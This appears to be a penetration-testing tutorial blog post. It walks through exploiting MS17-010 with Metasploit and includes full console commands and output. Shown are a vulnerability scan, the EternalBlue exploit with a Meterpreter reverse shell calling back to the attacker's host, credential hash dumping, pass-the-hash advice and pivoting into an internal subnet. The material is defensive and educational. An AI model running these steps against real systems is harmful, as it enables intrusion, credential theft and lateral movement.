In 2017, the EternalBlue exploit (MS17-010) tore through unpatched Windows systems worldwide during the WannaCry outbreak. Metasploit had a working module for it within days. That’s the power of this framework — it turns complex exploit research into repeatable, scriptable operations. This guide walks you from first launch to advanced post-exploitation, with real commands at every step.
Setting Up and Finding Your First Module
Metasploit Framework (MSF) is an open-source penetration testing platform built around a library of exploits, payloads, and auxiliary modules. Think of it as a structured toolkit where every weapon is already sharpened.
Launch the console and search for a target vulnerability. Assume you’ve already run an Nmap scan and found port 445 open on 192.0.2.47 — a Windows 10 host named CORP-WKSTN-04.
$ msfconsole
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 great Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 auxiliary/scanner/smb/smb_ms17_010 2017-03-14 normal No MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code ExecutionThe Rank column matters. great means reliable execution with minimal side effects. normal works but may be noisier or less stable. Always run the auxiliary scanner first — it confirms vulnerability without firing the actual exploit.
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.0.2.47
msf6 auxiliary(smb_ms17_010) > run
[+] 192.0.2.47:445 - Host is likely VULNERABLE to MS17-010!
[*] 192.0.2.47:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedThat [+] line is your green light. The host is vulnerable. Now you choose your exploit path — and that decision shapes everything that follows.
Running an Exploit and Catching a Shell
With confirmation in hand, load the EternalBlue exploit module and configure your payload. A payload is the code that runs on the target after exploitation — here we’ll use a Meterpreter reverse shell, which phones home to your machine.
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.0.2.47
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.0.2.10
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.0.2.10:4444
[*] 192.0.2.47:445 - Connecting to target for exploitation.
[+] 192.0.2.47:445 - Connection established for exploitation.
[+] 192.0.2.47:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.0.2.47:445 - CORE raw buffer dump (38 bytes)
[+] 192.0.2.47:445 - ETERNALBLUE overwrite completed successfully!
[*] Sending stage (200774 bytes) to 192.0.2.47
[*] Meterpreter session 1 opened (192.0.2.10:4444 -> 192.0.2.47:49832)
meterpreter >That meterpreter > prompt means you have an interactive session inside the target. The stage was delivered, the shell is alive. From a defender’s perspective, this is where EDR tools should be screaming — a new process spawned by the SMB service with an outbound connection is deeply suspicious.
As an attacker, your next move is situational awareness:
meterpreter > sysinfo
Computer : CORP-WKSTN-04
OS : Windows 10 (10.0 Build 19041)
Architecture : x64
System Language : en_US
Domain : CORPNET
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEMNT AUTHORITY\SYSTEM is the highest privilege level on a Windows host. You own the machine. From here, defenders should know attackers will dump credentials, pivot to other hosts, or establish persistence.
Advanced Post-Exploitation: Pivoting and Credential Dumping
Post-exploitation separates real penetration tests from simple proof-of-concepts. Two techniques matter most: credential harvesting and network pivoting.
Dump local credential hashes directly from Meterpreter using the built-in hashdump command:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
jdoe:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
svcbackup:1002:aad3b435b51404eeaad3b435b51404ee:e52cac67419a9a224a3b108f3fa6cb6d:::These are NTLM hashes. Pass them directly to other SMB services using pass-the-hash attacks — no cracking required. The hash for svcbackup might authenticate against a file server or domain controller on the same network segment.
For pivoting, use Metasploit's routing table to tunnel traffic through your compromised host into otherwise unreachable subnets:
meterpreter > run post/multi/manage/autoroute
[*] Running module against CORP-WKSTN-04
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.10.20.0/255.255.255.0 from host's routing table.
meterpreter > background
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 10.10.20.0/24
msf6 auxiliary(tcp) > set PORTS 22,80,443,445,3389
msf6 auxiliary(tcp) > runNow your scanner runs through the compromised host, reaching internal systems your attack machine couldn't touch directly. This is how lateral movement happens in real breaches — one foothold becomes a launchpad.
What To Do Now
Spin up a Metasploitable 3 VM locally — it's a deliberately vulnerable machine built for exactly this kind of practice. Run msfconsole, use auxiliary/scanner/smb/smb_ms17_010 against it, and work through the full kill chain yourself. Every command in this post works against that target. Hands on keys beats reading every time.
